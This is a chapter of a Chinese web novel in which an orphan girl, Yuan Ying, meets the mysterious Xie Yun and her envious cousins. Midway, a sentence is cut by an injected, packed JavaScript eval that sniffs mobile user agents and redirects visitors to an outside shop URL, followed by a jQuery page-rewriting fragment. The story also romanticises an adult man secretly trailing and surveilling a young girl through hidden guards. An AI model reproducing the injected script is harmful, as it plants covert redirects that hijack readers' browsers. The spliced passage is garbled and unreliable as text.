元莺只说自己晚膳用得太多,想一个人走走,春桃和夏竹正好要整理秦氏发下来的用度,有锦缎绣线,布匹衣料,冬被棉褥,还有月银。
两个丫鬟并未多想,只说让她莫走太晚,便让她出了门。
戌时三刻,元莺准时进入明月楼二楼的那间雅间,就见那个子页果然已经出现在雅间里。
谢韫穿着兰草纹靛蓝暗绣大袖,一张脸实在俊美得过分,正笑吟吟地看着她。
见元莺进屋了,笑着道:“小莺来了,你如今怎么去了谢家?害得我找了你好久,才找到你。”
元莺坐到他对面,有些不好意思:“前几日我舅舅来接我了,原来我舅舅一直在京城,可厉害了。”
谢韫亲自为元莺倒了杯茶,点头道:“谢大人官拜翰林,确实矜贵。”
“来,尝尝这茶,”谢韫十分温柔地笑着,“惊蛰后第一批春芽的大红袍,醇香难得。”
茶香袅袅,元莺端起茶盏喝了一口,果然入口生香,香气悠长,回甘霸道持久。
她不懂茶,但分明的好坏自然能感受得到,便点点头:“好香。”
谢韫道:“不过要少饮些,免得夜里失眠。”
二人品了茶,又吃了些点心,谢韫这才道:“我查到了,确实有一户姓熊的官家颇有名声,不过人家现在尚在扬州府,任扬州知府,要等过了年才会入京叙职,介时升任户部郎中。”
元莺凝神听着。
谢韫道:“熊府大爷今年已二十有七,不知是否是你要找的人?”
元莺急忙摇头:“那定不是他。熊大的声音可嫩呢,可好听了,他只比我大两岁不到,不可能二十有七的。”
谢韫眸光闪了闪,隐约透出冷嗤:“声音很好听吗?十几岁的半大小子,声音马上就要变声,粗糙沙哑,哪里就好听了。”
元莺觉得这个子页说话怪怪的,但她并不打算和他一般见识,这件事了了,她再也不要见到他了。
大概是因为元莺的眼睛已经全然恢复,这次她见到子页,看得比上次还要清楚。
他长得确实俊美,比第一次见时还要俊上几分,怪不得空间一直在闪烁着紫光,里头浓郁的灵气不断向外溢出来,让她整个人都觉得很舒服。
但也因为看得更清楚了,以至于她心底对他那股莫名其妙的不适感愈加分明起来。
就像是身体提前在警告她,必须离这个人远一点。
元莺看着他脸上的笑意,心底也觉得很是奇怪,明明是这样温柔和煦的男儿,为何会这样下意识讨厌他?
不过世间万事哪有那么多因为所以。一切不外乎缘分二字而已。自己一定是和他没有缘分,元莺如是想。
谢韫丝毫不知元莺的想法。
他见元莺怔怔地看着自己,心底暗喜。
看来不管是前世还是今生,她都会为自己着迷。
这个想法让谢韫浑身上下都舒畅极了,脸上的笑意变得更和煦起来,用更温柔的声音说:“熊家还有个四弟,才十四岁,或许就是你要找的人。”
元莺回过神来,心底总算升起几分欣喜:“好,那不知何时能见见他?”
谢韫道:“等到了年关,你等我消息便是。”
还有月余就是年关,快了。
元莺点点头,对谢韫道了谢后,站起身来就要走。
可谢韫实在舍不得,他看着元莺离去的背影,忍不住叫住她:“小莺。”
元莺转头看他,眼中透着疑惑:“怎么了?”
谢韫滚了滚喉结,才轻声道:“多吃饭多进补,好好长大,知道了吗?”
元莺觉得这个子页实在是有够莫名其妙的,但是还是很有礼貌地说:“好的,谢谢。”
然后很快离开了雅间。
等元莺走后没多久,谢韫悄然跟上,一路偷摸送她回了温府。
自从她搬进温府后,她便大门不出二门不迈,他已经好几日没见到她。
实在熬不住想念,这才托了一个嬷嬷给她带话。虽说她如今年纪还小,可他也想多看看她,看她有没有长高,有没有好好吃饭。
看到她好好的,他才能安心些。
谢韫目送元莺进了温府后,又招了一直按照保护元莺的为首两个暗卫前来问话。
左云和多山,半跪在谢韫脚边,细细回答了元莺的生活痕迹。
比如早上会在院子里转上几圈,午后有时会和丫鬟踢毽子,也会坐在院子里和丫鬟们学女红。
谢韫眼神柔下三分,似乎看到了元莺踢毽子时的样子。
谢韫道:“过几日会有个女护卫进府,若有急事可让她通报你们,你们速来报我。”
两个暗卫齐声应是。
谢韫又看了眼笼罩在漆黑夜里的温府,这才缓缓转身走了。
两个暗卫对视一眼,都从对方眼里读懂了一个问题:大爷为何对这个孤女如此照顾?
不过答案并不重要,二人一个闪身,很快消失在了黑夜里。
这几日元莺难得清闲,不用去山上挖山参,也不用早起贪黑摘草药,元莺整个人都松弛了下来,除了任由春桃和夏竹替她捣鼓护养外,她闲来无事便待在小筑里看看这个,瞧瞧那个,一会儿见西北角的桃花开得好,说要做摸点儿桃胶炖汤;一会儿又仔细赏看捶门处的芍药,看得津津有味。
反倒多了点半大孩子的天真样子,脸上笑吟吟的,澄澈似水。
春桃和夏竹和她相处了几天,也逐渐摸清了这位表姑娘的脾性,就是个天真性子,也无沉府,对待下人们也是和善温柔,一点架子都没的。
这日傍晚的时候,大姑娘送来了一些首饰,说是让元莺看看,若有喜欢的就留下。可元莺还没来得及挑呢,四姑娘和五姑娘就一齐来了。
四姑娘温瑶枝和五姑娘温以宁从女学下学回来,便来寻她玩儿。
其实说是玩儿,不过是来她这看看,家里长辈又给了她什么好物。
温瑶枝前两天第一次过来的时候,看到元莺房子里的茶叶竟是君山银针,实在是出乎了温瑶枝意料,吓了她好大一跳。
便是老祖宗那,也喝不得这样顶尖的茶,这可是御贡的茶叶儿。温瑶枝当时便有些不是滋味,酸溜溜道:“莺表妹,你这茶喝得明白吗?”
元莺当然喝不明白,不过她听出了温瑶枝是想要这个茶叶,便让春桃将茶叶罐子取来,将茶叶都给她了。
温瑶枝这才笑了起来,拉着元莺的胳膊说话。
这三个姐儿年纪相仿,能聊到一起去,温以宁见元莺的手上有许多细小的伤痕,掌心还有许多薄茧,便给了她一套护手的香膏,温瑶枝也给了元莺几本启蒙的书本,说让她先看着,先熏陶熏陶。
再说回眼下,温瑶枝和温以宁来了元莺的院子,见大姐送了首饰过来,每一件都是极好看极精致的今年最时兴儿的,其中最漂亮的便是一只用桃红珊瑚拼出的花丝金蝴蝶簪,蝴蝶翅膀上缀着点翠碎料,实在是夺目。
温瑶枝一眼就相中了,径直伸手将簪子拿到手中,惊喜道:“好漂亮的簪子,大姐姐果然大方,这样漂亮的簪子也舍得拿出来赏给咱们。”
听听,她这就把自己也代入了进去,明明是送来给元莺一个人的首饰,却成她口中的‘咱们’了。
温以宁年纪小,性子颇是烂熳,也没多想,也和元莺一起翻看着首饰。元莺就更不在意了,这些本来就是他们温府的东西,是自己上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726848|208865||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
门叨扰寄宿,哪有嫌弃主人家的资格?
只有站在不远处的春桃和夏竹对望了一眼,随即各自别开了眼,垂眸不说话。
于是温灵真送来的这些首饰,好的全被温瑶枝捡走了,剩下的则温以宁和元莺各自分了去。
温府虽说大房和二房尚未分家,可平日里是很少一起用团圆膳,只有每七日才会去东庖吃家宴。今日时辰有些晚了,元莺便让两个表姐留下来,和她一起用了膳。
可等膳上,温瑶枝见春桃给她端来了一盅鱼池海参汤,里头躺着的海参又肥又大,她当下又觉得不太痛快起来。心道这来打秋风的亲戚倒是个好命的,这顶尖儿的茶叶,最好的补品,全都落在了她的院子,自己这个正经的温府姑娘,反而过得清俭,这么大个儿的海参,竟是见都没见过。
等温瑶枝和温以宁用了晚膳离开墨芸小筑后,温瑶枝有些酸溜溜地道:“如今可真是倒反天罡了,倒显得她这个表的更像姑娘,衬得咱两怪可怜见的。”
温以宁是个心大善良的姑娘,她不以为意道:“四姐,莺姐儿之前过得多苦啊,如今好不容易从外头接回来了,我娘瞧她可怜,多给她点儿好的也无可厚非咯。”
温瑶枝心道温以宁真是心大,自家的好东西全都落了旁人的腰包,她还替人家数钱呢。可又转念一想,爹和二伯的官阶到底差了好几阶,二房只怕是见惯了好东西的,倒显得自己眼皮子浅了。
想及此,温瑶枝便有些不是滋味起来,捏着手里的首饰不再多说。
温瑶枝如今十三岁的年纪,向来喜欢去外头走动参加贵女间的聚会,因她长得有几分好颜色,在圈子里也算小有名气。许多家世门楣比她高的,长得都不如她好看,也时常会有许多郎君会多看她几眼,目光带着隐晦的炽热,因此她便生出了几分傲气。
她自觉自己唯一的短板,便是父亲的官阶实在是差了几分。
现在京中最负盛名的章阁老之女章茂姿,在温瑶枝看来,也是因着她父亲是阁老的缘故,才让她名满盛京的,因此她每次想起章茂姿,总觉得有些不忿。
温瑶枝心底虽自傲却也自卑,心底总怪父亲官阶为何升不上去,连带她也要低人一等。
这边温瑶枝和温以宁离开了墨芸小筑,另一边,春桃和夏竹则在慢慢地教元莺做些简单刺绣。
春桃小声试探道:“四姑娘,那些首饰是大姑娘给您的,您怎的转手就送了那许多给四姑娘……”
元莺认真道:“那些首饰,是大表姐疼我,才送给我。可我不能越过温府的姑娘去的,那些本就是温府的东西。”
春桃和夏竹对望一眼,都不再说这个话题了,心道表姑娘这个性儿,也不知是个好还是不好,也忒好欺负了。
这个晚上沐浴之后,元莺依旧在熄灯后,自己悄悄进了空间去睡觉。
这个空间的温泉水,自从徐清风走了之后,就枯竭了,也就上次和子页在明月楼短暂见了一面后,又冒出了一些来。不过元春已经不急着收集温泉水。毕竟她如今的眼睛已经好了,甚至比寻常人还要更明亮一些。
唯一让她觉得可惜的是,温泉旁边的葡萄树,之前由于熊大的缘故,温泉水儿冒了许多许多,连带着干苦苦的葡萄树都冒出了绿色腾叶尖尖儿,竟是一副要发芽开花的架势。……
可现在停了温泉水,葡萄树上的绿色叶子便软趴趴的泛了黄,一副枯萎落败模样,瞧着实在可怜。
元莺基本每晚都会偷偷地在空间里呆上一个时辰,每次从空间里出来,总是睡得香甜,身体格外充沛,连梦都没有一个,让她很是满意。
转眼几日过去。
又一日的傍晚,上次撞了她的那个婆子又来偶遇她了。